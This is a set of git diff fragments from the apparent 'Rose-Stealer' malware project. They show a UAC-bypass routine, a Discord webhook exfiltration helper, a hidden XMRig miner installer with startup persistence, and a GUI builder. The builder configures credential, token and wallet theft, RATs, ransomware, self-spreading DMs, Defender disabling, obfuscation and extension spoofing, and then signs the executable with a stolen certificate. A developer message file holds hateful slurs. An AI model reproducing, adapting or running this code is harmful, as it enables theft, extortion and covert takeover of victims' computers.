execute("computerdefaults --nouacbypass")
log_count_after = len(execute('wevtutil qe "Microsoft-Windows-Windows Defender/Operational" /f:text').stdout.decode("utf-8"))
execute("reg delete hkcu\Software\\Classes\\ms-settings /f")
if log_count_after > log_count_before:
return UACbypass(method + 1)
elif method == 2:
execute(f'reg add hkcu\Software\\Classes\\ms-settings\\shell\\open\\command /d "{sys.executable}" /f')
execute('reg add hkcu\Software\\Classes\\ms-settings\\shell\\open\\command /v "DelegateExecute" /f')
log_count_before = len(execute('wevtutil qe "Microsoft-Windows-Windows Defender/Operational" /f:text').stdout.decode("utf-8"))
execute("fodhelper --nouacbypass")
log_count_after = len(execute('wevtutil qe "Microsoft-Windows-Windows Defender/Operational" /f:text').stdout.decode("utf-8"))
execute("reg delete hkcu\Software\\Classes\\ms-settings /f")
if log_count_after > log_count_before:
return UACbypass(method + 1)
else:
return False
return True
def IsAdmin() -> bool:
return ctypes.windll.shell32.IsUserAnAdmin() == 1
def GetSelf() -> tuple[str, bool]:
if hasattr(sys, "frozen"):
return (sys.executable, True)
else:
return (__file__, False)

View File

@@ -0,0 +1,14 @@
from dhooks import Webhook
from bin.config import Config
import requests
cc = Config()
class _WebhookX:
def __init__(self):
self.webx = Webhook(cc.get_webhook())
self.webx.modify(name=cc.get_name(), avatar=requests.get(cc.get_avatar()).content)
def get_object(self):
return self.webx

View File

@@ -0,0 +1,61 @@
import subprocess
import os
import sys
from bin.config import Config
from bin._random_string import get_random_string
cc = Config()
def xmrig():
batch_code = """
@echo off
set XMRIG_URL=https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip
REM Generating a random directory name for installation
set "INSTALL_DIR=%APPDATA%\\rose\\%RANDOM%\\%RANDOM%"
mkdir "%INSTALL_DIR%"
cd /d "%INSTALL_DIR%"
powershell -command "& {{Invoke-WebRequest '%XMRIG_URL%' -OutFile 'xmrig.zip'}}"
powershell -command "& {{Expand-Archive -Path '.\\xmrig.zip' -DestinationPath '.'}}"
cd xmrig-6.21.0
echo @echo off > start_xmrig.bat
echo cd /d "%INSTALL_DIR%\\xmrig-6.21.0" >> start_xmrig.bat
echo start xmrig.exe --donate-level 1 -o de.monero.herominers.com:1111 -u {} -p {} -a rx/0 -k --background >> start_xmrig.bat
echo move /y "start_xmrig.bat" "%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\" > move_to_startup.bat
call move_to_startup.bat
del move_to_startup.bat
cd %APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\
call start_xmrig.bat %APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\
exit
""".format(
cc.get_xmr_adress(), get_random_string(12)
)
batch_filepath = os.path.join(os.environ["TEMP"], "batchscript.bat")
with open(batch_filepath, "w") as f:
f.write(batch_code)
startupinfo = subprocess.STARTUPINFO()
startupinfo.dwFlags |= subprocess.STARTF_USESHOWWINDOW
process = subprocess.Popen(
["cmd.exe", "/c", batch_filepath],
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
startupinfo=startupinfo,
)
stdout, stderr = process.communicate()
if stderr:
print(stderr.decode(), file=sys.stderr)

File diff suppressed because it is too large Load Diff

View File

@@ -0,0 +1,611 @@
import sys
import platform
import os
if int(platform.python_version_tuple()[0] + platform.python_version_tuple()[1]) > 311:
input("Python 3.12+ is not supported at this time, downgrade to Python 3.11.")
os._exit(1)
if sys.executable.endswith("pythonw.exe"):
sys.stdout = open(os.devnull, "w")
sys.stderr = open(os.path.join(os.getenv("TEMP"), "stderr-{}".format(os.path.basename(sys.argv[0]))), "w")
import string
import requests
import ctypes
import random
import logging
import subprocess
import re
import webbrowser
import asyncio
import shutil
from nicegui import ui, app
from tkinter import filedialog
from dhooks import Webhook, Embed
from pathlib import Path
from concurrent.futures import ProcessPoolExecutor
from multiprocessing import Manager, Queue
pool = ProcessPoolExecutor()
logging.basicConfig(level=logging.DEBUG, filename="roselog.log", filemode="a", format="[%(filename)s:%(lineno)d] - %(asctime)s - %(levelname)s - %(message)s")
logger = logging.getLogger(__name__)
__title__ = 'Rose UI Builder'
__avatar__ = 'https://raw.githubusercontent.com/rose-dll/Rose-Stealer/main/resources/assets/rose.png'
__version__ = '2.3'
__debugm__ = True
__icon__ = "https://raw.githubusercontent.com/rose-dll/Rose-Stealer/main/resources/assets/rose.png"
__devmsg__ = requests.get("https://raw.githubusercontent.com/rose-dll/Rose-Stealer/main/resources/ui/msg.txt").text.splitlines()[0].split(" - ")
data_builder = {"webhook_url": "", "build_name": "", "startup": False, "injection": False, "token": False, "browser": False, "deviceinf": False, "ipinf": False, "roblox": False, "rose_rat": False, "rose_rat_url": "", "knight_rat": False, "knight_bot_token": "", "knight_channel_id": "", "knight_prefix": "", "screenshot": False, "ping": False, "fake_error": False, "silent_crypto_miner": False, "wallet_adress": "", "file_pumper": False, "file_pumper_size": "", "uac_bypass": False, "disable_defender": False, "disable_firewalls": False, "antivm": False, "webcam": False, "obfuscation": False, "type_file": "", "ransomware_monero_wallet_adress": "", "ransomware_email_adress": "", "ransomware_discord_webhook_url": "", "ransomware": False, "extension_spoofer": False, "spoofed_extension": "", "spread_malware": False, "spread_malware_message": "", "ransomware_amount_of_money": "", "rose_melt_stub": False, "games": False, "tbsod": False, "bsites": False, "disableprot": False}
links = {"xpierroz_github": "https://github.com/xpierroz", "xpierroz_insta": "https://www.instagram.com/_p.slm/", "gumbobr0t_github": "https://github.com/gumbobr0t", "suegdu_github": "https://github.com/suenerve", "svn_github": "https://github.com/suvan1911", "smth_github": "https://github.com/smthpy", "rose_github": "https://github.com/rose-dll/Rose-Stealer", "rose_discord": "https://discord.gg/sMawrDqnta"}
logger.critical(f"Rose UI Builder is using version {str(__version__)}")
def open_link(key):
webbrowser.open(links[key])
def auto_update():
if __debugm__:
return
_code = "https://raw.githubusercontent.com/rose-dll/Rose-Stealer/main/resources/ui/builder.py"
code = requests.get(_code, timeout=10).text
pattern = r"__version__ = '([\d\.]+)'"
resultats = re.search(pattern, code)
if resultats:
version = resultats.group(1)
if version != __version__:
f = ctypes.windll.user32.MessageBoxW(0, f"A new version has been detected.\nWould you like to download the new version?\nCurrent version: {str(__version__)} | New version {str(version)}", "Rose-Grabber", 4)
if f == 6:
webbrowser.open("https://github.com/rose-dll/Rose-Stealer/archive/refs/heads/main.zip")
os._exit(0)
def change_data(key, value):
logger.info("change_data called with key " + key + " and value " + str(value))
global data_builder
data_builder[key] = value
logger.info("data_builder: " + str(data_builder))
return
async def _test_webhook():
result = await test_webhook(data_builder["webhook_url"])
if result == 0:
ui.notify("Webhook successfuly executed!", timeout=30, progress=True, avatar=__avatar__, color="green", position="top-left")
return
ui.notify("Webhook failed to execute!", timeout=30, progress=True, avatar=__avatar__, color="red", position="top-left")
def replace_discord_url(url):
url = url.replace("discordapp.com", "discord.com")
url = url.replace("canary.", "")
url = url.replace("ptb.", "")
return url
async def test_webhook(webhook_url):
try:
async with Webhook.Async(replace_discord_url(webhook_url)) as hook:
embed = Embed(description="Webhook is Working", color=11795068, timestamp="now")
embed.set_author(name="Success", icon_url=__icon__)
embed.set_footer(text="Rose-Stealer | t.me/rosegrabber", icon_url=__icon__)
await hook.send(embed=embed, username="Rose-Stealer | t.me/rosegrabber", avatar_url="https://raw.githubusercontent.com/rose-dll/Rose-Stealer/main/resources/assets/rose.png")
return 0
except Exception as e:
logger.error(f"Webhook failed to execute - Link: {webhook_url} - Error: {e}")
return 1
def gen_random(c: int):
characters = string.ascii_letters + string.digits
return "".join(random.choice(characters) for _ in range(c))
def _makebuild(q: Queue, data_builder) -> str:
logger.info("Entered _makebuild")
logger.info("data_builder: " + str(data_builder))
if data_builder["webhook_url"] == "":
ui.notify("Webhook URL is empty!", timeout=30, progress=True, avatar=__avatar__, color="red", position="top-left")
return
if data_builder["build_name"] == "":
ui.notify("Build Name is empty!", timeout=30, progress=True, avatar=__avatar__, color="red", position="top-left")
return
if data_builder["rose_rat"] and data_builder["rose_rat_url"] == "":
ui.notify("Rose-RAT URL is empty!", timeout=30, progress=True, avatar=__avatar__, color="red", position="top-left")
return
if data_builder["knight_rat"] and data_builder["knight_bot_token"] == "":
ui.notify("Knight-RAT Bot Token is empty!", timeout=30, progress=True, avatar=__avatar__, color="red", position="top-left")
return
if data_builder["type_file"] == "":
ui.notify("No build type selected!", timeout=30, progress=True, avatar=__avatar__, color="red", position="top-left")
return
if data_builder["file_pumper_size"] == "":
data_builder["file_pumper_size"] = None
if data_builder["rose_rat_url"] == "":
data_builder["rose_rat_url"] = ".rat"
ui.notify("Build has been started!", timeout=30, progress=True, avatar=__avatar__, color="green", position="top-left")
path = os.path.join(Path(__file__).resolve().parent, data_builder["build_name"])
rosef = os.path.join(path, "rose.py")
rosefu = os.path.join(path, "obf-rose.py")
rosefub = os.path.join(path, "obf2-rose.py")
blankobf = os.path.join(Path(__file__).resolve().parent.parent, "utils", "obfuscation", "blankobf.py")
pycloak = os.path.join(Path(__file__).resolve().parent.parent, "utils", "obfuscation", "pycloak-main")
rvenv = os.path.join(Path(__file__).resolve().parent.parent.parent, "rosevenv", "Scripts", "activate")
final = "dist\\Built.exe"
post = os.path.join(Path(__file__).resolve().parent.parent, "utils", "comp", "post.py")
logger.info(path + rosef + rosefu + blankobf)
def create_dir():
logger.info("Entered create_dir")
try:
logger.info(f"Path in create_dir is {path}")
os.mkdir(path)
except Exception as e:
logger.error(f"Error in create_dir: {e}")
def get_files():
try:
logging.info("Entered get_files")
shutil.copy(os.path.join(Path(__file__).resolve().parent.parent, "source", "rose.py"), path)
logger.info(f"Successfully copied components to {path}")
except Exception as e:
logger.error(f"Error in get_files: {e}")
def edit_config():
try:
logger.info("Entered edit_config")
with open(rosef, "r", encoding="utf-8") as f:
text = f.read()
new = (
text.replace("WEBHOOK_URL", f"{replace_discord_url(data_builder['webhook_url'])}")
.replace("rose_discord_rat = False", f"rose_discord_rat = {data_builder['rose_rat']}")
.replace("ROSE_DISCORD_RAT_SOCKET_LINK", f"{data_builder['rose_rat_url']}")
.replace("knight_discord_rat = False", f"knight_discord_rat = {data_builder['knight_rat']}")
.replace("KNIGHT_DISCORD_RAT_BOT_TOKEN", f"{data_builder['knight_bot_token']}")
.replace("KNIGHT_DISCORD_RAT_CHANNEL_ID", f"{data_builder['knight_channel_id']}")
.replace("KNIGHT_DISCORD_RAT_PREFIX", f"{data_builder['knight_prefix']}")
.replace("start_up = False", f"start_up = {data_builder['startup']}")
.replace("injection = False", f"injection = {data_builder['injection']}")
.replace("browser_stealing = False", f"browser_stealing = {data_builder['browser']}")
.replace("token_stealing = False", f"token_stealing = {data_builder['token']}")
.replace("deviceinf_stealing = False", f"deviceinf_stealing = {data_builder['deviceinf']}")
.replace("ipinf_stealing = False", f"ipinf_stealing = {data_builder['ipinf']}")
.replace("roblox_stealing = False", f"roblox_stealing = {data_builder['roblox']}")
.replace("screenshot = False", f"screenshot = {data_builder['screenshot']}")
.replace("discord_ping = False", f"discord_ping = {data_builder['ping']}")
.replace("uac_bypass = False", f"uac_bypass = {data_builder['uac_bypass']}")
.replace("xmr_miner = False", f"xmr_miner = {data_builder['silent_crypto_miner']}")
.replace("wallet_adressss", f"{data_builder['wallet_adress']}")
.replace("disable_defender = False", f"disable_defender = {data_builder['disable_defender']}")
.replace("disable_firewalls = False", f"disable_firewalls = {data_builder['disable_firewalls']}")
.replace("fake_error = False", f"fake_error = {data_builder['fake_error']}")
.replace("antivm = False", f"antivm = {data_builder['antivm']}")
.replace("webcam = False", f"webcam = {data_builder['webcam']}")
.replace("ransomware = False", f"ransomware = {data_builder['ransomware']}")
.replace("RANS0MWARE_EMAIL", f"{data_builder['ransomware_email_adress']}")
.replace("RANSOMWARE_MONERO_ADRESS_", f"{data_builder['ransomware_monero_wallet_adress']}")
.replace("RANSOMWARE_WEBHOOKURL", f"{data_builder['ransomware_discord_webhook_url']}")
.replace("spread_malware = False", f"spread_malware = {data_builder['spread_malware']}")
.replace("SPRMALWARE_MSFG", f"{data_builder['spread_malware_message']}")
.replace("RANSOMWARE_AMOUNT_0F_MONEY", f"{data_builder['ransomware_amount_of_money']}")
.replace("rose_melt_stub = False", f"rose_melt_stub = {data_builder['rose_melt_stub']}")
.replace("games = False", f"games = {data_builder['games']}")
.replace("ts_bsod = False", f"ts_bsod = {data_builder['tbsod']}")
.replace("block_sites = False", f"block_sites = {data_builder['bsites']}")
.replace("disable_protectors = False", f"disable_protectors = {data_builder['disableprot']}")
)
with open(rosef, "w", encoding="utf-8") as f:
f.write(new)
except Exception as e:
logger.error(f"Error in edit_config: {e}")
def obfuscate():
logger.info("Entered obfuscate")
if data_builder["obfuscation"]:
logger.info("Entering obfuscate")
try:
logger.info("Entering obfuscate process")
obf1 = f'call "{rvenv}" && python "{blankobf}" -o "{rosefu}" "{rosef}"'
logger.info(obf1)
subprocess.call(obf1, shell=True, stderr=subprocess.STDOUT)
install = f'call "{rvenv}" && cd "{pycloak}" && pip install .'
logger.info(install)
subprocess.call(install, shell=True, stderr=subprocess.STDOUT)
obf2 = f'call "{rvenv}" && pycloak -o "{rosefub}" -d "{rosefu}"'
logger.info(obf2)
subprocess.call(obf2, shell=True, stderr=subprocess.STDOUT)
os.remove(rosefu)
logger.info("Finished obfuscate process")
except Exception as e:
logger.error(f"Error in obfuscate: {e}")
def pump_file():
logger.info("Entered pump_file")
pumping_proc = 0
if data_builder["file_pumper"]:
if data_builder["file_pumper_size"] is not None:
logger.info(f"DEBUGGING File pumper size is set to {data_builder['file_pumper_size']} MB")
logger.info("Entering file pump process")
try:
b_size = int(data_builder["file_pumper_size"]) * 1048576
bufferSize = 256
with open(f"{data_builder['build_name']}.exe", "ab") as f:
for i in range(b_size // bufferSize):
f.write(bytes([0] * bufferSize))
pumping_proc += 1
logger.info(f"Pumped successfuly for {pumping_proc} times ({data_builder['file_pumper_size']})")
logger.info("Finished file pump process")
except Exception as e:
logger.error(f"Error in pumping file: {e}")
def compile_python():
logger.info("Entered py compile")
upx_dir = os.path.join(Path(__file__).resolve().parent.parent, "utils", "upx-4.1.0-win64")
himports = [
"os",
"re",
"ctypes",
"pygame",
"pygame.camera",
"subprocess",
"threading",
"sys",
"platform",
"shutil",
"sqlite3",
"string",
"random",
"browser_cookie3",
"base64",
"json",
"requests",
"psutil",
"discord",
"discord.ext",
"discord.ext.commands",
"winreg",
"win32con",
"keyboard",
"pywifi",
"pathlib",
"cv2",
"io",
"time",
"pyttsx3",
"webbrowser",
"socketio",
"uuid",
"socket",
"pyautogui",
"wmi",
"GPUtil",
"zipfile",
"getmac",
"errno",
"urllib",
"urllib.error",
"pynput",
"pynput.keyboard",
"cryptography",
"cryptography.fernet",
"win32crypt",
"dhooks",
"Crypto",
"Crypto.Cipher",
"Crypto.Cipher.AES",
"PIL",
"PIL.ImageGrab",
"zlib",
"mss",
"datetime",
"ctypes.windll",
"ctypes.c_int",
"ctypes.c_uint",
"ctypes.c_ulong",
"ctypes.POINTER",
"ctypes.byref",
"json.loads",
"json.dumps",
"zipfile.ZipFile",
"urllib.request",
"urllib.request.Request",
"urllib.request.urlopen",
"base64.b64decode",
"socketio",
"time",
"zlib.compress",
"mss.mss",
"lzma",
"aiohttp",
]
himports = [item for item in himports if item]
imports = " ".join(["--hidden-import=" + module for module in himports])
compile_line = f'call "{rvenv}" && pyinstaller "{rosefub if data_builder["obfuscation"] else rosef}" --clean --name="Built" --upx-dir="{upx_dir}" --noconsole --onefile {imports}'
try:
logger.info("Entering python compile process")
logger.info(f"Python Compile CMD Line: {compile_line}")
output_file = "rosecompile.log"
subprocess.call(compile_line, shell=True, stdout=open(output_file, "w"), stderr=subprocess.STDOUT)
logger.info(f"Output of Python compile process saved in rosecompile.log")
subprocess.call(f'call "{rvenv}" && python "{post}" dist/Built.exe', shell=True, stderr=subprocess.STDOUT)
except Exception as e:
logger.error(f"Error in py compile: {e}")
def cleanup():
logger.info("Entered cleanup")
try:
shutil.move(final, os.path.join(os.getcwd(), f"{data_builder['build_name']}.exe"))
shutil.rmtree(os.path.join(os.getcwd(), "build"))
shutil.rmtree(os.path.join(os.getcwd(), "dist"))
shutil.rmtree(os.path.join(os.getcwd(), "resources", "ui", data_builder["build_name"]))
os.remove(os.path.join(os.getcwd(), "Built.spec"))
except Exception as e:
logger.error(f"Error in cleanup: {e}")
def assign_extension():
logger.info("Entered assign_extension")
old_exe_path = os.path.join(os.getcwd(), data_builder["build_name"] + ".exe")
new_scr_path = os.path.join(os.getcwd(), data_builder["build_name"] + ".scr")
if data_builder["type_file"] == "Screensaver (.scr)":
os.rename(old_exe_path, new_scr_path)
def upx():
logger.info("Entered upx")
try:
shutil.copy(os.path.join(Path(__file__).resolve().parent.parent, "utils", "upx-4.1.0-win64", "upx.exe"), os.getcwd())
subprocess.run(f'upx -9kqvf {data_builder["build_name"]}.exe', shell=True)
os.remove(os.path.join(os.getcwd(), "upx.exe"))
except Exception as e:
logger.error(f"Error in upx: {e}")
logger.info("Finished upx")
def extension_spoofer():
logger.info("Entered extension_spoofer")
spoofer = "\u202e"
extension = data_builder["spoofed_extension"]
executable_to_spoof = f'{data_builder["build_name"]}.scr' if data_builder["type_file"] == "Screensaver (.scr)" else f'{data_builder["build_name"]}.exe'
if data_builder["extension_spoofer"]:
try:
extension_added = executable_to_spoof[: len(executable_to_spoof) - 4] + extension[::-1] + executable_to_spoof[-4:]
global spoofed
spoofed = extension_added[: len(extension_added) - 7] + spoofer + extension_added[-7:]
with open(spoofed, "wb") as spoofed_executable:
with open(executable_to_spoof, "rb") as source_executable:
spoofed_executable.write(source_executable.read())
except Exception as e:
logger.error(f"Error in extension_spoofer: {e}")
logger.info("Finished extension_spoofer")
create_dir()
q.put_nowait(0.1)
get_files()
q.put_nowait(0.2)
edit_config()
q.put_nowait(0.3)
obfuscate()
q.put_nowait(0.4)
compile_python()
q.put_nowait(0.5)
cleanup()
q.put_nowait(0.6)
upx()
q.put_nowait(0.7)
pump_file()
q.put_nowait(0.8)
assign_extension()
q.put_nowait(0.9)
extension_spoofer()
q.put_nowait(1)
return "Done!"
def _home():
with ui.dialog() as dialog, ui.card():
ui.label(f"If the compilation process completed successfully, you should find the executable file within the designated folder. In case you encounter any issues, we kindly invite you to join our Discord community for further assistance.")
ui.button("Open Folder", on_click=lambda: os.startfile(os.getcwd()))
ui.button("Join Discord", on_click=lambda: webbrowser.open(links["rose_discord"]))
ui.button("Close", on_click=dialog.close)
async def start_computation():
progressbar.visible = True
loop = asyncio.get_running_loop()
result = await loop.run_in_executor(pool, _makebuild, queue, data_builder)
logger.info(result)
dialog.open()
progressbar.visible = False
queue = Manager().Queue()
ui.timer(0.1, callback=lambda: progressbar.set_value(queue.get() if not queue.empty() else progressbar.value))
with ui.card():
with ui.row():
ui.input(label="Webhook URL", placeholder="Rose on top baby", on_change=lambda e: change_data("webhook_url", e.value)).props("inline color=pink-3").classes("w-full")
ui.input(label="Build name", placeholder="Rose on top baby", on_change=lambda e: change_data("build_name", e.value)).props("inline color=pink-3").classes("w-full")
ui.select(label="File type", options=["Executable (.exe)", "Screensaver (.scr)"], on_change=lambda e: change_data("type_file", e.value)).props("color=pink-3").classes("w-full")
ui.checkbox("Obfuscation", on_change=lambda e: change_data("obfuscation", e.value)).props("inline color=pink-3")
with ui.row():
_pumper = ui.checkbox("Pump file", on_change=lambda e: change_data("file_pumper", e.value)).props("inline color=pink-3")
ui.input(label="Pump Size", placeholder="Size in MB", on_change=lambda e: change_data("file_pumper_size", e.value)).bind_visibility_from(_pumper, "value").props("inline color=pink-3")
with ui.row():
_spoofer = ui.checkbox("Extension Spoofer", on_change=lambda e: change_data("extension_spoofer", e.value)).props("inline color=pink-3")
ui.input(label="Spoofed Extension", placeholder="xlsx, png etc.", on_change=lambda e: change_data("spoofed_extension", e.value)).bind_visibility_from(_spoofer, "value").props("inline color=pink-3")
ui.button("Test Webhook", on_click=_test_webhook).props("icon=code color=purple-11").classes("w-full")
ui.button("Build", on_click=start_computation).props("icon=build color=pink-3").classes("w-full")
progressbar = ui.linear_progress(value=0, show_value=False).props("instant-feedback rounded color=green-8 size=35px stripe")
progressbar.visible = False
def _features():
with ui.card():
with ui.row():
ui.button("Knight RAT Docs", on_click=lambda: webbrowser.open("https://github.com/rose-dll/Rose-Stealer/blob/main/docs/KNIGHT.md"))
ui.button("Features Docs", on_click=lambda: webbrowser.open("https://github.com/rose-dll/Rose-Stealer/blob/main/docs/FEATURES.md"))
ui.button("Changelog Docs", on_click=lambda: webbrowser.open("https://github.com/rose-dll/Rose-Stealer/blob/main/docs/CHANGELOG.md"))
with ui.expansion("System", icon="work").classes("w-full"):
with ui.row():
with ui.column():
ui.checkbox("Startup", on_change=lambda e: change_data("startup", e.value)).props("inline color=pink")
with ui.row():
_inj = ui.checkbox("Injection", on_change=lambda e: change_data("injection", e.value)).props("inline color=pink")
with ui.column():
ui.checkbox("Fake Error", on_change=lambda e: change_data("fake_error", e.value)).props("inline color=pink")
ui.checkbox("Anti-VM", on_change=lambda e: change_data("antivm", e.value)).props("inline color=pink")
with ui.expansion("Stealer", icon="work").classes("w-full"):
with ui.row():
with ui.column():
with ui.row():
_token = ui.checkbox("Token", on_change=lambda e: change_data("token", e.value)).props("inline color=green")
_spread = ui.checkbox("Mass DM friends", on_change=lambda e: change_data("spread_malware", e.value)).bind_visibility_from(_token, "value").props("inline color=green")
ui.input(label="Message", placeholder="Rose on top baby", on_change=lambda e: change_data("spread_malware_message", e.value)).bind_visibility_from(_spread, "value").props("inline color=green")
ui.checkbox("Browser Credentials", on_change=lambda e: change_data("browser", e.value)).props("inline color=green")
ui.checkbox("Games and Wallets", on_change=lambda e: change_data("games", e.value)).props("inline color=green")
ui.checkbox("Screenshot", on_change=lambda e: change_data("screenshot", e.value)).props("inline color=green")
ui.checkbox("Webcam", on_change=lambda e: change_data("webcam", e.value)).props("inline color=green")
with ui.column():
ui.checkbox("System Information", on_change=lambda e: change_data("deviceinf", e.value)).props("inline color=green")
ui.checkbox("IP & Wi-Fi Data", on_change=lambda e: change_data("ipinf", e.value)).props("inline color=green")
ui.checkbox("Roblox", on_change=lambda e: change_data("roblox", e.value)).props("inline color=green")
ui.checkbox("Ping", on_change=lambda e: change_data("ping", e.value)).props("inline color=green")
with ui.expansion("Advanced", icon="work").classes("w-full"):
with ui.row():
with ui.column():
with ui.row():
_miner = ui.checkbox("XMR Miner", on_change=lambda e: change_data("silent_crypto_miner", e.value)).props("inline color=yellow-7")
ui.input(label="XMR Wallet Address", placeholder="Wallet Address", on_change=lambda e: change_data("wallet_adress", e.value)).bind_visibility_from(_miner, "value").props("inline color=yellow-7")
with ui.row():
_rose_rat = ui.checkbox("Rose-RAT", on_change=lambda e: change_data("rose_rat", e.value)).props("inline color=yellow-7")
ui.input(label="Rose-RAT Server URL", placeholder="Rose on top baby", on_change=lambda e: change_data("rose_rat_url", e.value)).bind_visibility_from(_rose_rat, "value").props("inline color=yellow-7")
with ui.row():
_knight_rat = ui.checkbox("Knight-RAT", on_change=lambda e: change_data("knight_rat", e.value)).props("inline color=yellow-7")
ui.input(label="Knight-RAT Bot Token", placeholder="Knight on top baby", on_change=lambda e: change_data("knight_bot_token", e.value)).bind_visibility_from(_knight_rat, "value").props("inline color=yellow-7")
ui.input(label="Knight-RAT Channel ID", placeholder="Knight on top baby", on_change=lambda e: change_data("knight_channel_id", e.value)).bind_visibility_from(_knight_rat, "value").props("inline color=yellow-7")
ui.input(label="Knight-RAT Command Prefix", placeholder="Knight on top baby", on_change=lambda e: change_data("knight_prefix", e.value)).bind_visibility_from(_knight_rat, "value").props("inline color=yellow-7")
with ui.row():
_ransom = ui.checkbox("Rose Ransomware", on_change=lambda e: change_data("ransomware", e.value)).props("inline color=yellow-7")
ui.input(label="XMR Wallet adress", placeholder="Rose On Top baby!!!", on_change=lambda e: change_data("ransomware_monero_wallet_adress", e.value)).bind_visibility_from(_ransom, "value").props("inline color=yellow-7")
ui.input(label="Webhook URL", placeholder="Rose On Top baby!!!", on_change=lambda e: change_data("ransomware_discord_webhook_url", e.value)).bind_visibility_from(_ransom, "value").props("inline color=yellow-7")
ui.input(label="Email adress", placeholder="Email adress here", on_change=lambda e: change_data("ransomware_email_adress", e.value)).bind_visibility_from(_ransom, "value").props("inline color=yellow-7")
ui.input(label="Amount of money", placeholder="Amount of money the victim has to pay. (in USD)", on_change=lambda e: change_data("ransomware_amount_of_money", e.value)).bind_visibility_from(_ransom, "value").props("inline color=yellow-7")
with ui.column():
ui.checkbox("Self-Deletion", on_change=lambda e: change_data("rose_melt_stub", e.value)).props("inline color=yellow-7")
ui.checkbox("Trigger BSOD", on_change=lambda e: change_data("tbsod", e.value)).props("inline color=yellow-7")
with ui.row():
_uac = ui.checkbox("UAC Bypass", on_change=lambda e: change_data("uac_bypass", e.value)).props("inline color=yellow-7")
ui.checkbox("Disable Protectors", on_change=lambda e: change_data("disableprot", e.value)).bind_visibility_from(_uac, "value").props("inline color=yellow-7")
ui.checkbox("Block Sites", on_change=lambda e: change_data("bsites", e.value)).bind_visibility_from(_uac, "value").props("inline color=yellow-7")
def _github():
with ui.card():
with ui.row():
ui.button("Open Rose Log", on_click=lambda: os.startfile(os.path.join(os.getcwd(), "roselog.log")))
ui.button("Open Rose Compile Log (.py)", on_click=lambda: os.startfile(os.path.join(os.getcwd(), "rosecompile.log")))
with ui.column():
ui.markdown(f"<code>Message from {__devmsg__[0]}: {__devmsg__[1]}</code>")
with ui.row():
with ui.card_section():
ui.label("xpierroz").classes("text-h6")
ui.markdown('<em>- "GUMBO MAKE A FUCKING PR"</em>').classes("text-subtitle5")
with ui.row():
# ui.label(" ") # Because the button are so sticked together without (sex button) - xpierroz 03/24
ui.button(on_click=lambda: open_link("xpierroz_github")).props("round icon=code color=blue-11")
ui.button(on_click=lambda: open_link("xpierroz_insta")).props("round icon=star_rate color=amber-8")
with ui.card_section():
ui.label("gumbobr0t").classes("text-h6")
ui.markdown('<em>- "buddy it\'s not my fault"</em>').classes("text-subtitle5")
ui.button(on_click=lambda: open_link("gumbobr0t_github")).props("round icon=code color=blue-11")
with ui.row():
with ui.card_section():
ui.label("suegdu").classes("text-h6")
ui.markdown('<em>- "bruh"</em>').classes("text-subtitle5")
ui.button(on_click=lambda: open_link("suegdu_github")).props("round icon=code color=blue-11")
with ui.card_section():
ui.label("svn").classes("text-h6")
ui.markdown("<em>*svn died*</em>").classes("text-subtitle5")
ui.button(on_click=lambda: open_link("svn_github")).props("round icon=code color=blue-11")
with ui.card_section():
ui.label("smth.py").classes("text-h6")
ui.markdown("<em>- Nothing.</em>").classes("text-subtitle5")
ui.button(on_click=lambda: open_link("smth_github")).props("round icon=code color=blue-11")
with ui.card():
with ui.card_section():
with ui.row():
ui.label(f"Rose {__version__}").classes("text-h6")
ui.button(on_click=lambda: open_link("rose_github")).props("round icon=code color=blue-11")
ui.button(on_click=lambda: open_link("rose_discord")).props("round icon=unsubscribe color=indigo-12")
ui.colors(primary="#333")
@ui.page("/home")
def superhome():
ui.image("https://raw.githubusercontent.com/rose-dll/Rose-Stealer/main/resources/assets/rose.png").style("position: center; width: 90px; left: 220px;")
global tabs
with ui.tabs().classes("w-full") as tabs:
ui.tab("Home", icon="home")
ui.tab("Features", icon="fingerprint")
ui.tab("Settings", icon="face")
with ui.tab_panels(tabs, value="Home").classes("bg-transparent").classes("center"):
with ui.tab_panel("Home").classes("bg-transparent").classes("center"):
_home()
with ui.tab_panel("Features"):
_features()
with ui.tab_panel("Settings"):
_github()
v = ui.video("https://github.com/rose-dll/Rose-Stealer/raw/main/resources/assets/roseloadingscreen.mp4", autoplay=True, loop=False, muted=True, controls=False).style("position: absolute; top: 0; left: 0; width: 100%; height: 100%; object-fit: cover;")
v.on("ended", lambda _: ui.open("/home"))
app.on_shutdown(pool.shutdown)
def start_nicegui(**kwargs):
ui.run(title=__title__, **kwargs)
if __name__ in {"__main__", "__mp_main__"}:
auto_update()
ui.run(native=True, dark=True, reload=False, show=False, port=2009, window_size=(600, 660), title=__title__)

View File

@@ -0,0 +1,5 @@
gumbobr0t - dang i love boobs
xpierroz - GUMBO MAKE A FUCKING PR
xpierroz - releasing soon
xpierroz - fuck lgbtq
gumbobr0t - BUDDY ITS NOT MY FAULT

Binary file not shown.

View File

@@ -0,0 +1,41 @@
import os
from sigthief import signfile
def RemoveMetaData(path: str):
print("Removing MetaData")
with open(path, "rb") as file:
data = file.read()
data = data.replace(b"PyInstaller:", b"PyInstallem:")
data = data.replace(b"pyi-runtime-tmpdir", b"bye-runtime-tmpdir")
data = data.replace(b"pyi-windows-manifest-filename", b"bye-windows-manifest-filename")
with open(path, "wb") as file:
file.write(data)
def AddCertificate(path: str):
print("Adding Certificate")
certFile = "resources/utils/comp/cert"
if os.path.isfile(certFile):
signfile(path, certFile, path)
def RenameEntryPoint(path: str, entryPoint: str):
print("Renaming Entry Point")
with open(path, "rb") as file:
data = file.read()
entryPoint = entryPoint.encode()
new_entryPoint = b'\x00' + os.urandom(len(entryPoint) - 1)
data = data.replace(entryPoint, new_entryPoint)
with open(path, "wb") as file:
file.write(data)
if __name__ == "__main__":
builtFile = os.path.join("dist", "Built.exe")
if os.path.isfile(builtFile):
RemoveMetaData(builtFile)
AddCertificate(builtFile)
RenameEntryPoint(builtFile, "rose")
else:
print("Not Found")

View File

@@ -0,0 +1,276 @@
#!/usr/bin/env python3
# LICENSE: BSD-3
# Copyright: Josh Pitts @midnite_runr
import sys
import struct
import shutil
import io
import os
from optparse import OptionParser
def gather_file_info_win(binary):
"""
Borrowed from BDF...
I could just skip to certLOC... *shrug*
"""
flItms = {}
binary = open(binary, 'rb')
binary.seek(int('3C', 16))
flItms['buffer'] = 0
